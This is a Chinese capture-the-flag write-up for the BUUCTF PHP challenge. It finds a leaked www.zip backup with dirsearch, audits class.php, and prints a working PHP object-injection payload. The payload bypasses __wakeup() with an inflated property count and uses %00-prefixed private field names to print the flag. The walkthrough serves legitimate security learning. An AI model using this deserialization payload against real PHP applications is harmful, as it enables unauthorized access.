zoukankan      html  css  js  c++  java
  • BUUCTF-[极客大挑战 2019]PHP 1

    打开题目,我们就看到这个猫,先是用鼠标晃了晃,还跟着我的光标摇脑袋。我是来做题的。前端工程师肯定也对这个下功夫了。

     有一个良好的备份网站的习惯很好啊,我们首先根据题目的提示,用dirsearch扫目录

    如果没有这个工具的可以去github上下载就可以了。

    最终,我们扫到这个备份文件

     www.zip这个备份文件

    于是,我们直接回到网页,然后拼接www.zip于是我们就下载了源码,解压之后,我们看到了这些

     打开flag.php以为得到flag结果是个假的。

    于是我们打开index.php

     发现一段php代码,包含class.php文件,然后get方式传入一个select参数,并且将结果反序列化

    然后,我们再打开class.php文件,然后又发现了一段代码,审计一下

    <?php
    include 'flag.php';
    
    
    error_reporting(0);
    
    
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    
        function __wakeup(){
            $this->username = 'guest';
        }
    
        function __destruct(){
            if ($this->password != 100) {
                echo "</br>NO!!!hacker!!!</br>";
                echo "You name is: ";
                echo $this->username;echo "</br>";
                echo "You password is: ";
                echo $this->password;echo "</br>";
                die();
            }
            if ($this->username === 'admin') {
                global $flag;
                echo $flag;
            }else{
                echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
                die();
    
                
            }
        }
    }
    ?>
    

      根据代码的意思,我们可以发现如果username=admin      password=100然后我们再执行__destruct()时可以获得flag

    于是构造反序列化

    <?php
    
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    }
    $a = new Name('admin', 100);
    var_dump(serialize($a));
    
    ?>
    

      保存,然后获得序列化后的字符串:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

    于是我们将参数值给select,这时候问题来了,在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们

    的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup(),而去执行__destruct

    在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup(),去执行__destruct

    于是我们这样构造pyload:

    ?select=O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

    然后我们又意识到,这个变量时private

    private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字

    段名在序列化时,类名和字段名前面都会加上的前缀。字符串长度也包括所加前缀的长度

    于是我们在构造一回pyload:

    ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

     出来flag:flag{32beb1fb-5e2e-4cd5-87c8-a0e75f291395}

  • 相关阅读:
    Jessica's Reading Problem POJ
    FatMouse and Cheese HDU
    How many ways HDU
    Humble Numbers HDU
    Doing Homework again
    Stacks of Flapjacks UVA
    Party Games UVA
    24. 两两交换链表中的节点
    面试题 03.04. 化栈为队
    999. 可以被一步捕获的棋子数
  • 原文地址:https://www.cnblogs.com/junlebao/p/13799762.html
Copyright © 2011-2022 走看看